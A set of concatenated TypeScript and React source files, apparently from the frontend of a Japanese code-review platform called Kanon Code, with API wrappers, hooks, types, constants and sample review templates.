<file_sep>export enum RecoilAtomKeys {
IS_OPEN_SIGNIN_STATE = 'isOpenSigninState',
REVIEW_ACCSEPT = 'reviewAccept',
INIT_FETCH = 'initFetch',
AUTH_USER = 'authUser',
CURRENT_USER = 'currentUser',
}
export enum RecoilSelectorKeys {
IS_OPEN_SIGNIN = 'isOpenSignin',
}
<file_sep>import { apis } from "@/consts/api/";
import { axios } from "@/utils/axios";
type Props = {
partitionKey: string;
sortKey: string;
};
export const postNotices = async (params: Props) => {
return await axios.post(apis.NOTICES, params);
};
<file_sep>type ContactEvent = {
eventAction: 'submit_form';
eventCategory: 'contact';
eventLabel: string;
value?: any;
};
type ClickEvent = {
eventAction: 'click';
eventCategory: 'other';
eventLabel: string;
value?: any;
};
type PaymentEvent = {
eventAction: 'payment';
eventCategory: 'purchase';
eventLabel: string;
value?: any;
};
export type Event = ContactEvent | ClickEvent | PaymentEvent;
<file_sep>export const MAX_TITLE_LENGTH = 32;
export const MAX_TAGS_LENGTH = 5;
export const MAX_PRICE_LENGTH = 5;
export const MAX_NAME_LENGTH = 15;
export const MAX_LANG_LENGTH = 15;
export const MAX_BANK_CODE_LENGTH = 4;
export const MAX_BANK_NAME_LENGTH = 32;
export const MAX_BRANCH_CODE_LENGTH = 3;
export const MAX_BRANCH_NAME_LENGTH = 32;
export const MAX_ACCOUNT_NUMBER_LENGTH = 8;
export const MAX_ACCOUNT_NAME_LENGTH = 32;
export const MAX_OTHERE_SERVICE_NAME_LENGTH = 100;
export const MAX_INTRODUCTION_LENGTH = 300;
export const MAX_DESCRIPTION_LENGTH = 1500;
export const MAX_SOURCE_CODE_LENGTH = 10_000;
export const MAX_REVIEW_LENGTH = 10_000;
export const MAX_COMMENT_LENGTH = 1_000;
export const MAX_FILE_NAME_LENGTH = 64;
export const MAX_FILE_SIZE = 10_000_000; // 10MB
export const MAX_PRICE = 100_000; // 10MB
export const PAYMENT_FREE = 0;
export const PAYMENT_FEE = 1;
export const ACCEPT_REVIEW = 0; // レビュー募集中
export const STOP_REVIEW = 1; // レビュー依頼停止中
export const USER_PREFIX = 'USER';
export const POST_PREFIX = 'POST';
export const REVIEW_PREFIX = 'REVIEW';
export const ALLOW_POSITION_TYPE_LIST = [0, 1, 2, 3, 4];
export const ALLOW_FILE_EXTENTION_LIST = [
'jpeg',
'JPEG',
'jpg',
'JPG',
'png',
'PNG',
'gif',
'GIF',
];
export const INITIAL_SKILS = [
{
language: '',
yearsExperience: '1年~2年',
value: 0,
},
{
language: '',
yearsExperience: '1年~2年',
value: 0,
},
{
language: '',
yearsExperience: '1年~2年',
value: 0,
},
{
language: '',
yearsExperience: '1年~2年',
value: 0,
},
{
language: '',
yearsExperience: '1年~2年',
value: 0,
},
];
export const INITIAL_USER_PROFILE = {
display_name: '',
github_name: '',
icon_src: '',
introduction: '',
position_type: 0,
price: 0,
skils: [
{
language: '',
years_experiences: 0,
},
{
language: '',
years_experiences: 0,
},
{
language: '',
years_experiences: 0,
},
{
language: '',
years_experiences: 0,
},
{
language: '',
years_experiences: 0,
},
],
twitter_name: '',
web_site: '',
};
export const INITIAL_BANK = {
bank_code: '',
bank_name: '',
branch_code: '',
branch_name: '',
deposit_type: null,
account_number: '',
account_name: '',
};
<file_sep>import { apis } from '@/consts/api/'
import { ResponseBookmarkTypes } from '@/types/api/get-bookmark'
import { axios } from '@/utils/axios'
import { AxiosResponse } from 'axios'
type ParamsType = {
postId: string
}
export const getBookmark = async (
params: ParamsType,
): Promise<AxiosResponse<ResponseBookmarkTypes>> => {
return await axios.get(apis.BOOKMARK, { params })
}
<file_sep>import { BankTypes } from '@/types/global';
import { getBank } from '@/utils/api/get-bank';
import { useEffect, useState } from 'react';
export const useBank = () => {
const [isLoading, setIsLoading] = useState(true);
const [bank, setBank] = useState<BankTypes | null>(null);
useEffect(() => {
const err = new Error();
(async () => {
try {
const response = await getBank();
const result = response.data;
if (!result.status) throw (err.message = result.status_message);
setBank(result.Item ? result.Item.bank : null);
setIsLoading(false);
} catch (error) {
console.error(error);
alert(error);
}
})();
}, []);
return { bank, setBank, isLoading };
};
<file_sep>## よかった点
コードは基本的に言語仕様に沿って書かれてるかと思います。
[JavaScript とは](https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/What_is_JavaScript)
ただ、配列を作るときは filter を使った方がいいと思いますよ
```javascript
const resultList = targetList.filter((el) => el.name === 'name')
```
これだけで name をもった要素の配列を作成することができます。
参考にしてみてください。
## 改善点
上記の filter を使ったり map を使ったり js がデフォルトで用意しているメソッドを有効に使っていきましょう。
するともう少スッキリ書けると思いますよ!
<file_sep>import { apis } from "@/consts/api/";
import { UserContentsTypes } from "@/types/api/get-user-contents";
import { axios } from "@/utils/axios";
import { AxiosResponse } from "axios";
type ParamsType = {
userName: string;
};
export const getUserContents = async (
params: ParamsType
): Promise<AxiosResponse<UserContentsTypes>> => {
return await axios.get(apis.USER_CONTENTS, { params });
};
<file_sep>import { UserTypes } from "@/types/global";
export type ResponseUserTypes = {
Item: UserTypes;
status: boolean;
status_code: number;
status_message: string;
};
<file_sep>import { apis } from '@/consts/api/'
import { axios } from '@/utils/axios'
import { SetupIntent } from '@stripe/stripe-js'
import { AxiosResponse } from 'axios'
// type ParamsType = {
// userId: string
// }
type CustomSetupIntent = SetupIntent & {
customer: string
payment_method_types: string[]
}
export const postRegisterCustomer = async (
// params: ParamsType,
): Promise<AxiosResponse<CustomSetupIntent>> => {
return await axios.post(apis.REGISTER_CUSTOMER)
}
<file_sep>import { apis } from '@/consts/api/'
import { SuccessTypes } from '@/types/api/success'
import { axios } from '@/utils/axios'
import { AxiosResponse } from 'axios'
type PramsProps = {
myUserId: string
postId: string
}
export const postBookmark = async (
params: PramsProps,
): Promise<AxiosResponse<SuccessTypes>> => {
return await axios.post(apis.BOOKMARK, params)
}
<file_sep>export type ResponseGithubOAuthTypes = {
access_token: string;
status: boolean;
status_code: number;
status_message: string;
};
<file_sep>## よかった点
コード自体はいいと思います。
特段悪い箇所はないかと思います。
```typescript
const registerContent = async (
paymentType: number,
beginPaymentArea: number | null,
price: number,
) => {
const params = createParams(paymentType, beginPaymentArea, price)
console.log(params, 'params')
try {
const response = await postReview(params)
console.log(response)
} catch (error) {
console.error(error)
}
}
```
ココのコードは特にいいと思いますよ!!
## 改善点
このあたりのコードは少し改善したほうがいいです。
```javascript
var hoge = 1
```
var で宣言した変数は global になってしまうため const 又は let でスコープを限定する、最代入がないことをわからせた方がリーダブルではあります。
<file_sep>import { errorMessages } from '@/consts/error-messages';
import { ResponseGithubSourceTreeTypes } from '@/types/api/get-github-source-tree';
import { GithubSourceTreeTypes } from '@/types/global';
import { GithubBranchesTypes, GithubReposTypes } from '@/types/global/index';
import { getGithubEncodeContent } from '@/utils/api/get-github-encode-content';
import { AxiosResponse } from 'axios';
import { useState } from 'react';
type TreeTypes = {
[key: string]: {
tree: GithubSourceTreeTypes[];
contents: {
[key: string]: string;
};
};
};
export const useGithubDialog = (
repos: GithubReposTypes[],
getBranches: (repository: string) => Promise<void>,
getSourceTreeByBranch: (
repository: string,
branch: string
) => Promise<AxiosResponse<ResponseGithubSourceTreeTypes>>,
insertToInputFileNameLists: (
choosedFullPathList: string[],
encodeContents: {
[key: string]: string;
}
) => void
) => {
const [choosedRepository, setChoosedRepository] = useState('');
const [choosedBranch, setChoosedBranch] = useState('');
const [choosedFullPathList, setChoosedFullPathList] = useState<string[]>([]);
const [currentSelectedPath, setCurrentSelectedPath] = useState('');
const [isChoosedRepository, setIsChoosedRepository] = useState(true);
const [isChoosedBranch, setIsChoosedBranch] = useState(true);
const [isChoosedFullPath, setIsChoosedFullPath] = useState(true);
const [isFetchBranch, setIsFetchBranch] = useState(false);
const [isFetchTree, setIsFetchTree] = useState(false);
const [isFetchContent, setIsFetchContent] = useState(false);
const [treeObject, setTreeObject] = useState<TreeTypes>({});
const [decodedContent, setDecodedContent] = useState('');
const getChoosedRepositoryBranches = (repositoryName: string) => {
const repository = repos.filter(el => el.fullName === repositoryName);
if (repository.length <= 0) return [];
return repository[0].branches;
};
const getBranchesBySelectedRepo = async (
_: React.ChangeEvent<{}>,
githubRepos: GithubReposTypes | null
) => {
if (githubRepos === null) {
setChoosedRepository('');
return;
}
const currentRepoFullName = githubRepos!.fullName;
// 同じリポジトリを選択した場合は、returnする
if (currentRepoFullName === choosedRepository) return;
setChoosedBranch('');
setIsChoosedRepository(true);
setChoosedRepository(currentRepoFullName);
setChoosedFullPathList([]);
setDecodedContent('');
const branches = getChoosedRepositoryBranches(currentRepoFullName);
// 選択したリポジトリにブランチが存在する場合は、過去に選択されたリポジトリなので、apiを叩かない
if (branches.length > 0) return;
setIsFetchBranch(true);
await getBranches(currentRepoFullName);
setIsFetchBranch(false);
};
const selectBranch = (
_: React.ChangeEvent<{}>,
value: GithubBranchesTypes | null
) => {
if (value === null) {
setChoosedBranch('');
return;
}
const branch = value!.name;
setIsChoosedBranch(true);
setChoosedBranch(branch);
};
const decodeContent = (name: string, encodeContent: string) => {
const lang = name.split('.').pop();
const decodeContent = window.atob(encodeContent);
const bedginMd = `\`\`\`${lang}\n`;
const endMd = '\n```';
const mdContent = `${bedginMd}${decodeContent}${endMd}`;
setDecodedContent(mdContent.replace(/ /g, '\u00A0'));
};
const validSelectedRepositoryAndBranch = () => {
setIsChoosedRepository(choosedRepository !== '');
setIsChoosedBranch(choosedBranch !== '');
return choosedRepository !== '' && choosedBranch !== '';
};
const validChoosedFullPath = () => {
const isValid = choosedFullPathList.length > 0;
setIsChoosedFullPath(isValid);
return isValid;
};
const getTree = async () => {
const isValid = validSelectedRepositoryAndBranch();
if (!isValid) return;
const key = `${choosedRepository}#${choosedBranch}`;
// すでにtreeを取得ずみのrepository & branchの組み合わせはreturnしておく
if (treeObject[key] !== undefined) return;
setIsFetchTree(true);
try {
const result = await getSourceTreeByBranch(
choosedRepository,
choosedBranch
);
const tree = result.data.tree.children!;
setTreeObject({
...treeObject,
[key]: {
tree: tree,
contents: {},
},
});
setIsFetchTree(false);
} catch (error) {
console.error(error);
alert(errorMessages.SYSTEM_ERROR);
setIsFetchTree(false);
}
};
const getContent = async (name: string, sha: string, path: string) => {
const key = getKeyForTree();
const isValid = validSelectedRepositoryAndBranch();
if (!isValid) return;
if (sha === undefined) return;
const savedEncodeContent = treeObject[key].contents[path];
if (savedEncodeContent !== undefined) {
// 一度取得したコードはstateに持たせる
decodeContent(name, savedEncodeContent);
insertPathTochoosedFullPathListIfNeeded(path);
changeDisplaySourceCode(path);
return;
}
const repository = choosedRepository;
const newContents = treeObject[key].contents;
setIsFetchContent(true);
setChoosedFullPathList([...choosedFullPathList, path]);
try {
const result = await getGithubEncodeContent({ repository, sha });
const encodeContent = result.data.content;
decodeContent(name, encodeContent);
newContents[path] = encodeContent;
setTreeObject({
...treeObject,
[key]: {
tree: treeObject[key].tree,
contents: newContents,
},
});
setIsChoosedFullPath(true);
setCurrentSelectedPath(path);
changeDisplaySourceCode(path);
setIsFetchContent(false);
} catch (error) {
console.error(error);
alert(errorMessages.SYSTEM_ERROR);
setIsFetchContent(false);
}
};
const getKeyForTree = () => {
return `${choosedRepository}#${choosedBranch}`;
};
const insertPathTochoosedFullPathListIfNeeded = (path: string) => {
const newChoosedFullPathList = choosedFullPathList.filter(
el => el === path
);
if (newChoosedFullPathList.length <= 0) {
setCurrentSelectedPath(path);
setChoosedFullPathList([...choosedFullPathList, path]);
}
};
const deleteSelctedSourceCode = (path: string) => {
const newChoosedFullPathList = choosedFullPathList.filter(
el => el !== path
);
setChoosedFullPathList(newChoosedFullPathList);
const lastLength = newChoosedFullPathList.length;
const shouldDisplaySourceCodePath = newChoosedFullPathList[lastLength - 1];
if (shouldDisplaySourceCodePath !== undefined) {
changeDisplaySourceCode(shouldDisplaySourceCodePath);
} else {
setDecodedContent('');
}
};
const changeDisplaySourceCode = (path: string) => {
const key = getKeyForTree();
const encodeContent = treeObject[key].contents[path];
if (encodeContent === undefined) return;
setCurrentSelectedPath(path);
decodeContent(path, encodeContent);
};
const applySourceCode = () => {
const isValid = validSelectedRepositoryAndBranch();
if (!isValid) return;
const isValidChoosedFullPath = validChoosedFullPath();
if (!isValidChoosedFullPath) return;
if (isFetchContent) return;
const key = getKeyForTree();
insertToInputFileNameLists(choosedFullPathList, treeObject[key].contents);
};
return {
choosedRepository,
choosedFullPathList,
isChoosedRepository,
isChoosedBranch,
isChoosedFullPath,
isFetchBranch,
isFetchTree,
isFetchContent,
treeObject,
decodedContent,
currentSelectedPath,
getBranchesBySelectedRepo,
getChoosedRepositoryBranches,
selectBranch,
getTree,
getContent,
getKeyForTree,
changeDisplaySourceCode,
deleteSelctedSourceCode,
applySourceCode,
};
};
<file_sep>import { apis } from "@/consts/api/";
import { axios } from "@/utils/axios";
export const getPagesUrl = async () => {
return await axios.get(apis.PAGES_URL);
};
<file_sep>import { apis } from '@/consts/api/'
import { errorMessages } from '@/consts/error-messages'
import { createErrorObject } from '@/utils/api/error'
import { getSales } from '@/utils/api/get-sales'
import useSWR from 'swr'
const fetcher = async () => {
const errorObject = createErrorObject(errorMessages.SYSTEM_ERROR, 1001)
return await getSales().catch(() => {
errorObject.data.posts = null
errorObject.data.user = null
return errorObject
})
}
export const useSales = () => {
const { data, isValidating } = useSWR(apis.SALES, () => fetcher(), {
refreshInterval: 0,
dedupingInterval: 2000,
revalidateOnFocus: false,
focusThrottleInterval: 5000,
})
return { data, isValidating }
}
<file_sep>export type ResponsePostStatusTypes = {
updatedPostStatus: number;
status: boolean;
status_code: number;
status_message: string;
};
<file_sep>import { v4 as uuidv4 } from 'uuid'
export const paymentTypes = [
{
id: uuidv4(),
value: 0,
text: '無料',
},
{
id: uuidv4(),
value: 1,
text: '有料',
},
]
<file_sep>import { errorMessages } from "@/consts/error-messages";
import { CreditTypes } from "@/types/global";
import { getCredit } from "@/utils/api/get-credit";
import { useEffect, useState } from "react";
export const useCredit = () => {
const [isLoading, setIsLoading] = useState(true);
const [credit, setCredit] = useState<CreditTypes | null>(null);
useEffect(() => {
const err = new Error();
(async () => {
try {
const response = await getCredit();
const result = response.data;
if (!result.status) throw (err.message = result.status_message);
setCredit(result.Item ? result.Item : null);
setIsLoading(false);
} catch (error) {
console.error(error);
alert(errorMessages.SYSTEM_ERROR);
}
})();
}, []);
return { credit, isLoading };
};
<file_sep>import { apis } from "@/consts/api/";
import { ResponseReviewsTypes } from "@/types/api/get-reviews";
import { axios } from "@/utils/axios";
import { AxiosResponse } from "axios";
type ParamsType = {
postId: string;
};
export const getReviews = async (
params: ParamsType
): Promise<AxiosResponse<ResponseReviewsTypes>> => {
return await axios.get(apis.REVIEWS, { params });
};
<file_sep>import { apis } from '@/consts/api/';
import { SuccessTypes } from '@/types/api/success';
import { axios } from '@/utils/axios';
import { AxiosResponse } from 'axios';
type ParamsType = {
uuid: string;
postType: string;
contents: {
title: string;
tagList: string[];
description: {
value: string;
bodyHtml: string;
};
inputFileNameLists: {
key: string;
fileName: string;
sourceCode: string;
bodyHtml: string;
isValid: boolean;
}[];
targetLanguage: number;
targetIcon: {
id: number;
value: string;
iconPath: string;
ogpPath: string;
};
budget: number;
};
};
type CustomResponseTypes = SuccessTypes & {
postId: string;
};
export const postContent = async (
params: ParamsType
): Promise<AxiosResponse<CustomResponseTypes>> => {
return await axios.post(apis.REGISTER_CONTENT, params);
};
<file_sep>import { apis } from "@/consts/api/";
import { SuccessTypes } from "@/types/api/success";
import { axios } from "@/utils/axios";
import { AxiosResponse } from "axios";
export const postRegist = async (): Promise<AxiosResponse<SuccessTypes>> => {
return await axios.post(apis.REGISTER);
};
<file_sep>import { errorMessages } from '@/consts/error-messages';
import { ResponseCreditType } from '@/types/api/get-credit';
import { ResponseReviewsTypes } from '@/types/api/get-reviews';
import {
CommentListTypes,
CustomReviewTypes,
ErrorTypes,
} from '@/types/global';
import { CreditTypes } from '@/types/global/';
import { createErrorObject } from '@/utils/api/error';
import { getCredit } from '@/utils/api/get-credit';
import { getReviews } from '@/utils/api/get-reviews';
import { AxiosResponse } from 'axios';
import { useEffect, useState } from 'react';
// HACK: とりあえずの実装。もっと綺麗な実装はあるはず。。。
export const useReviews = (postId: string, isMe: boolean, userId: string) => {
const err = new Error();
const errorObject = createErrorObject(errorMessages.SYSTEM_ERROR, 500);
const [isLoading, setIsLoading] = useState(true);
const [canReview, setCanReview] = useState(false);
const [credit, setCredit] = useState<CreditTypes | null>(null);
const [reviews, setReviews] = useState<CustomReviewTypes[] | null>(null);
const [creditResponse, setCreditResponse] = useState<
AxiosResponse<ResponseCreditType> | ErrorTypes
>(errorObject);
const [reviewsResponse, setReviewsResponse] = useState<
AxiosResponse<ResponseReviewsTypes> | ErrorTypes
>(errorObject);
const [paymentedList, setPaymentedList] = useState<{
[key: string]: boolean;
} | null>(null);
const [commentList, setCommentList] = useState<CommentListTypes | null>(null);
useEffect(() => {
(async () => {
try {
const results = await Promise.all([
await getCredit(),
await getReviews({ postId }),
]);
const responseCredit = results[0];
const responseReviews = results[1];
const creditStatus = responseCredit.data.status;
const reviewsStatus = responseReviews.data.status;
if (!creditStatus || !reviewsStatus) throw err;
const reviewedUserIds = responseReviews.data.Items.reviews.map(
(el: CustomReviewTypes) => el.partition_key
);
const isReviewed = reviewedUserIds.includes(userId);
// 自分の投稿ではない、ログインしている、まだレビューをしていなければレビューをできる
setCanReview(!isMe && userId !== '' && !isReviewed);
setCreditResponse(responseCredit);
setReviewsResponse(responseReviews);
setCredit(responseCredit.data.Item);
setReviews(responseReviews.data.Items.reviews);
setPaymentedList(responseReviews.data.Items.paymentedList);
setCommentList(responseReviews.data.Items.commentList);
} catch {
console.error(err);
} finally {
setIsLoading(false);
}
})();
}, []);
return {
creditResponse,
reviewsResponse,
credit,
reviews,
setReviews,
canReview,
setCanReview,
paymentedList,
setPaymentedList,
commentList,
setCommentList,
isLoading,
};
};
<file_sep>export type ResponseGithubEncodeContentTypes = {
content: string;
status: boolean;
status_code: number;
status_message: string;
};
<file_sep>import { apis } from "@/consts/api/";
import { axios } from "@/utils/axios";
import { AxiosResponse } from "axios";
export const getNotices = async (): Promise<AxiosResponse<any>> => {
return await axios.get(apis.NOTICES);
};
<file_sep>import { apis } from "@/consts/api/";
import { MyPaymentsTypes } from "@/types/api/get-my-payments";
import { axios } from "@/utils/axios";
import { AxiosResponse } from "axios";
export const getMyPayments = async (): Promise<
AxiosResponse<MyPaymentsTypes>
> => {
return await axios.get(apis.MY_PAYMENTS);
};
<file_sep>import { PostsTypesInPayments } from "@/types/global";
export type MyPaymentsTypes = {
posts: PostsTypesInPayments[];
status: boolean;
status_code: number;
status_message: string;
};
<file_sep>export const initDescription = `## レビューを依頼した背景
## 困っていること
## 特に見て頂きたい点
`;
export const initReview = `## よかった点
## 改善点
`;
export const initContents = {
tagList: [''],
targetIcon: {
id: 0,
value: '',
iconPath: '',
ogpPath: '',
},
description: {
bodyHtml: '',
value: '',
},
inputFileNameLists: [
{
bodyHtml: '',
fileName: '',
isValid: true,
isAuto: false,
key: '',
sourceCode: '',
},
],
targetLanguage: 0,
source_tree: [
{
id: '',
name: '',
},
],
node_ids: [''],
title: '',
budget: 0,
};
export const initUserProfile = {
display_name: '',
github_name: '',
icon_src: '',
introduction: '',
position_type: 0,
price: 0,
skils: [
{
language: '',
years_experiences: 0,
},
],
twitter_name: '',
web_site: '',
};
<file_sep>import { DraftsTypes } from '@/types/global';
export type MyDraftsTypes = {
drafts: DraftsTypes[];
status: boolean;
status_code: number;
status_message: string;
};
<file_sep>import { apis } from "@/consts/api/";
import { MyContentsTypes } from "@/types/api/get-my-contents";
import { axios } from "@/utils/axios";
import { AxiosResponse } from "axios";
export const getMyContents = async (): Promise<
AxiosResponse<MyContentsTypes>
> => {
return await axios.get(apis.MY_CONTENTS);
};
<file_sep>import { apis } from '@/consts/api/';
import { ResponseReviewTypes } from '@/types/api/get-review';
import { ReviewContentsTypes } from '@/types/global';
import { axios } from '@/utils/axios';
import { AxiosResponse } from 'axios';
type ParamsType = {
postId: string;
contents: ReviewContentsTypes;
remainingLength: number;
paymentType: number;
paymentArea: number | null;
price: number;
};
export const postReview = async (
params: ParamsType
): Promise<AxiosResponse<ResponseReviewTypes>> => {
return await axios.post(apis.REVIEW, params);
};
<file_sep>import { apis } from '@/consts/api/'
import { axios } from '@/utils/axios'
export const getSuggestProgrammingLanguages = async () => {
return await axios.get(apis.SUGGEST_PROGRAMMINGL_ANGUAGES)
}
<file_sep>import { apis } from '@/consts/api/';
import { axios } from '@/utils/axios';
type ParamsType = {
partitionKey: string;
sortKey: string;
postType: string;
contents: {
title: string;
tagList: string[];
description: {
value: string;
bodyHtml: string;
};
inputFileNameLists: {
key: string;
fileName: string;
sourceCode: string;
bodyHtml: string;
isValid: boolean;
}[];
};
};
export const putContent = async (params: ParamsType) => {
return await axios.put(apis.REGISTER_CONTENT, params);
};
<file_sep>export type SuccessTypes = {
status: boolean
status_code: number
status_message: string
}
<file_sep>import { v4 as uuidv4 } from 'uuid';
export const articles = [
{
key: uuidv4(),
title: 'Kanon CodeのUpdate情報 【サイト紹介追加】 - vol-6',
url: 'https://note.com/kanon_code/n/need4bb39444d',
date: '2021/09/30',
className: 'first',
desciption: 'トップページにサイト紹介を追加しました。',
hasNote: true,
},
{
key: uuidv4(),
title: 'Kanon CodeのUpdate情報 【コメント機能追加】 - vol-05',
url: 'https://note.com/kanon_code/n/n835d810f3e30',
date: '2021/09/26',
className: '',
desciption: 'レビューにコメントを投稿できるようになりました。',
hasNote: true,
},
{
key: uuidv4(),
title: 'Kanon CodeのUpdate情報 【Update情報ページ追加】 - vol-04',
url: 'https://note.com/kanon_code/n/ncc8b137a9c1b',
date: '2021/09/19',
className: '',
desciption: 'Update情報ページを作成',
hasNote: true,
},
{
key: uuidv4(),
title: 'レビュー依頼に初期テンプレートを挿入',
url: '',
date: '2021/09/15',
className: '',
desciption: 'レビュー依頼時のDescriptionにテンプレートを初期入力させました',
hasNote: false,
},
{
key: uuidv4(),
title: 'Kanon CodeのUpdate情報 【予算の設定】 - vol-03',
url: 'https://note.com/kanon_code/n/nbeaf2bc4cb4d',
date: '2021/09/14',
className: '',
desciption: 'レビュー依頼時に予算を設定できるようになりました。',
hasNote: true,
},
{
key: uuidv4(),
title: 'Kanon CodeのUpdate情報 【OGPの表示】 - vol-02',
url: 'https://note.com/kanon_code/n/n519fa674ea42',
date: '2021/09/13',
className: '',
desciption: 'OGPが表示されるようになりました。',
hasNote: true,
},
{
key: uuidv4(),
title: 'Kanon CodeのUpdate情報 【募集中の表示】 - vol-01',
url: 'https://note.com/kanon_code/n/n0f9fe9fd8f89',
date: '2021/09/05',
className: '',
desciption: 'レビュー募集中と停止中を表示できるようになりました。',
hasNote: true,
},
];
<file_sep>import { apis } from "@/consts/api/";
import { ResponseBankTypes } from "@/types/api/get-bank";
import { axios } from "@/utils/axios";
import { AxiosResponse } from "axios";
export const getBank = async (): Promise<AxiosResponse<ResponseBankTypes>> => {
return await axios.get(apis.BANK);
};
<file_sep>import { apis } from '@/consts/api/';
import { axios } from '@/utils/axios';
import { AxiosResponse } from 'axios';
import { ResponseGithubOAuthTypes } from '../../types/api/get-github-oauth';
export const getGithubAccessToken = async (): Promise<
AxiosResponse<ResponseGithubOAuthTypes>
> => {
return await axios.get(apis.GITHUB_OAUTH);
};
<file_sep>export type ErrorTypes = {
status: boolean;
status_code: number;
status_message: string;
[key: string]: any;
};
<file_sep>import { apis } from "@/consts/api/";
import { BankTypes } from "@/types/global";
import { axios } from "@/utils/axios";
type ParamsType = {
bank: BankTypes;
};
export const postBank = async (params: ParamsType) => {
return await axios.post(apis.BANK, params);
};
<file_sep>import { useRouter } from 'next/router';
export const moveToTop = () => {
const router = useRouter();
router.push('/');
};
<file_sep>import { apis } from "@/consts/api/";
import { ResponseReactionTypes } from "@/types/api/post-reaction";
import { axios } from "@/utils/axios";
import { AxiosResponse } from "axios";
type Props = {
sortKey: string;
postId: string;
};
export const postReaction = async (
params: Props
): Promise<AxiosResponse<ResponseReactionTypes>> => {
return await axios.post(apis.REACTION, params);
};
<file_sep>import { BankTypes } from "@/types/global";
export type ResponseBankTypes = {
Item: {
partition_key: string;
sort_key: string;
bank: BankTypes;
is_delete: boolean;
};
status: boolean;
status_code: number;
status_message: string;
};
<file_sep>export type UserTypes = {
create_day: number;
create_month: number;
create_year: number;
display_name: string;
is_payment: boolean;
partition_key: string;
sort_key: string;
type: string;
user_id: string;
user_profile: {
display_name: string;
github_name: string;
icon_src: string;
introduction: string;
position_type: number;
price: number;
twitter_name: string;
web_site: string;
};
};
<file_sep>import { apis } from "@/consts/api/";
import { MyBookmarksTypes } from "@/types/api/get-my-bookmarks";
import { axios } from "@/utils/axios";
import { AxiosResponse } from "axios";
export const getMyBookmarks = async (): Promise<
AxiosResponse<MyBookmarksTypes>
> => {
return await axios.get(apis.MY_BOOKMARKS);
};
<file_sep># Markdown サンプル
これは**Markdown**記法のサンプルです。
ファイルの拡張子は `.md` が多いです。
- これはリスト(箇条書き)です。
- これはリストの 2 行目です。
Markdown のまとめ: [README.md ファイル。マークダウン記法まとめ | codechord](http://codechord.com/2012/01/readme-markdown/)
| hoge | foo |
| ---- | --- |
| 1 | 2 |
| 2 | 3 |
<file_sep>import { createTheme, responsiveFontSizes } from '@material-ui/core';
const theme = createTheme({
palette: {
common: {
black: '#202124',
},
primary: {
light: '#8e99f3',
main: '#5C6BC0',
dark: '#26418f',
contrastText: '#ffffff',
},
secondary: {
light: '#ff8a99',
main: '#EC576B',
dark: '#b41f40',
contrastText: '#ffffff',
},
text: {
primary: '#202124',
},
error: {
main: '#ff604f',
},
},
typography: {
fontFamily: 'Open Sans',
h1: {
fontWeight: 700,
fontSize: '48px',
// '@media (min-width:600px)': {
// fontSize: '32px',
// },
},
h2: {
fontSize: '20px',
fontWeight: 'bold',
},
button: {
textTransform: 'none',
},
},
overrides: {
MuiTextField: {
root: {
margin: '0',
},
},
},
});
export default responsiveFontSizes(theme);
<file_sep>type ValidObject = {
isValid: boolean;
message: string;
};
export class PrepareContentBeforePost {
private value: any;
private setFunction: React.Dispatch<React.SetStateAction<ValidObject>>;
private validObject: ValidObject;
constructor(
value: any,
setFunction: React.Dispatch<React.SetStateAction<ValidObject>>,
validObject: ValidObject
) {
this.value = value;
this.setFunction = setFunction;
this.validObject = validObject;
}
private updateValidObject = (
isValid: boolean,
setFunction: React.Dispatch<React.SetStateAction<ValidObject>>,
validObject: ValidObject,
message: string
) => {
setFunction({
...[validObject],
isValid: isValid,
message: message,
});
};
public validZeroLength(message: string) {
const isValid = this.value.length === 0;
if (isValid) {
this.updateValidObject(
false,
this.setFunction,
this.validObject,
message
);
return false;
}
return true;
}
public validLength(MAX_LENGTH: number, message: string) {
const isValid = this.value.length <= MAX_LENGTH;
if (!isValid) {
this.updateValidObject(
false,
this.setFunction,
this.validObject,
message
);
return false;
}
return true;
}
public validEmpty(message: string) {
const isValid = this.value === '';
if (isValid) {
this.updateValidObject(
false,
this.setFunction,
this.validObject,
message
);
return false;
}
return true;
}
public successed() {
this.updateValidObject(true, this.setFunction, this.validObject, '');
}
}
<file_sep>import { PostsTypes, ReviewsTypes } from "@/types/global";
export type MyContentsTypes = {
posts: PostsTypes[];
reviews: ReviewsTypes[];
status: boolean;
status_code: number;
status_message: string;
};
<file_sep>import { apis } from "@/consts/api/";
import { axios } from "@/utils/axios";
export const getContents = async () => {
return await axios.get(apis.CONTENTS);
};
<file_sep>import { apis } from '@/consts/api/';
import { MyDraftsTypes } from '@/types/api/get-my-drafts';
import { axios } from '@/utils/axios';
import { AxiosResponse } from 'axios';
export const getMyDrafts = async (): Promise<AxiosResponse<MyDraftsTypes>> => {
return await axios.get(apis.MY_DTAFTS);
};
<file_sep>export type ResponseCreditType = {
Item: {
partition_key: string;
sort_key: string;
customer_id: string;
setup_id: string;
setup_method: string;
last4_chara: string;
customChara: string;
};
status: boolean;
status_code: number;
status_message: string;
};
<file_sep>export type PostContentsTypes = {
update_day: number;
update_month: number;
partition_key: string;
is_delete: boolean;
contents: {
tag_list: string[];
target_icon: {
icon_path: string;
id: number;
value: string;
};
description: {
body_html: string;
value: string;
};
input_file_name_lists: {
body_html: string;
file_name: string;
is_valid: boolean;
key: string;
source_code: string;
};
target_language: number;
title: string;
};
sort_key: string;
user_id: string;
post_type: string;
update_year: number;
user_profile: {
twitter_name: string;
github_name: string;
price: number;
icon_src: string;
display_name: string;
position_type: number;
introduction: string;
web_site: string;
};
create_year: number;
create_day: number;
create_month: number;
type: string;
[key: string]: any;
};
<file_sep>import { apis } from '@/consts/api/';
import { ResponseCommentTypes } from '@/types/api/post-comment';
import { axios } from '@/utils/axios';
import { AxiosResponse } from 'axios';
type ParamsType = {
postId: string;
postReviewJointId: string;
contents: {
comment: {
value: string;
body_html: string;
};
};
};
export const postComment = async (
params: ParamsType
): Promise<AxiosResponse<ResponseCommentTypes>> => {
return await axios.post(apis.COMMENT, params);
};
<file_sep>import { apis } from '@/consts/api/';
import { ResponseGithubSourceTreeTypes } from '@/types/api/get-github-source-tree';
import { axios } from '@/utils/axios';
import { AxiosResponse } from 'axios';
type ParamsTypes = {
repository: string;
branch: string;
};
export const getGithubSourceTree = async (
params: ParamsTypes
): Promise<AxiosResponse<ResponseGithubSourceTreeTypes>> => {
return await axios.get(apis.GITHUB_SOURCE_TREE, { params });
};
<file_sep>import { apis } from '@/consts/api/'
import { axios } from '@/utils/axios'
type PramsProps = {
userId: string
customerId: string
last4Chara: string
setUpClientSecret: string
setUpId: string
setUpMethod: string
}
export const postCredit = async (params: PramsProps) => {
return await axios.post(apis.CREDIT, params)
}
<file_sep>import { BookmarkTypes } from '@/types/global'
